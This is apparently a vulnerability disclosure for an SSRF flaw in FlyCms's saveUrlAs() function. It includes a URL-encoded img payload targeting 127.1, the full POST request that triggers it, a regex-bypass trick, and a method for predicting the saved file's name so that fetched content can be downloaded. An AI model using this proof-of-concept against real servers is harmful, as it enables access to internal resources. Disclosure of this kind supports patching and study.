There is a SSRF vulnerability

[m4yfly]

An issue was discovered in FlyCms. There is a security vulnerability in file /Users/bang/code/java/FlyCms-master/src/main/java/com/flycms/module/question/service/ImagesService.java, in saveUrlAs() function, result in a SSRF . SSRF ­ Server Side Request Forgery attacks. The ability to create requests from the vulnerable server to intra/internet.

POC

%3Cimg%20src%3D%22http%3A%2F%2F127.1%2Findex%22%2F%3E

Send the request is as follows：

POST /ucenter/question/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/question/add
Content-Length: 93
Cookie: CFID=3; CFTOKEN=50139797; ECS[visit_times]=1; bgC_sid=P5rfbe; JSESSIONID=node01jp6c3qjsftrz1xa81ovh47bff0.node0; Hm_lvt_2f24154b3f87697d36a4e2a638b68aaa=1560325064; Hm_lpvt_2f24154b3f87697d36a4e2a638b68aaa=1560328852; FlyCmsId=593f391df8a70cab630e34efa645c590
Connection: close

title=ssrf10&content=%3Cimg%20src%3D%22http%3A%2F%2F127.1%2Findex%22%2F%3E&tags=ssrf7&price=0

We can see that it will call replaceContent to fetch remote image when add a question.

In funtion replaceContent，we can use 127.1 bypass reg or request other url directly，and saveUrlAs is called here.

Finally HttpURLConnection result in SSRF.

Still in replaceContent, we can find the file path, file name.The addQuesion finally failed, but file will create.
File path is the date tody, example /upload/content/2019/6/12/
File name is concat md5(date + filenum) + filenum + extension

md5 16 result is 8-24 of md5_32 resulst.

And we can get server time from response, after convert timezone, we can caculate the result.

so filename is 43EC4555543DEFC6_0.，absolute path is /upload/content/2019/6/12/43EC4555543DEFC6_0.

Request the path we can download file named 43EC4555543DEFC6_0..

It's SSRF result.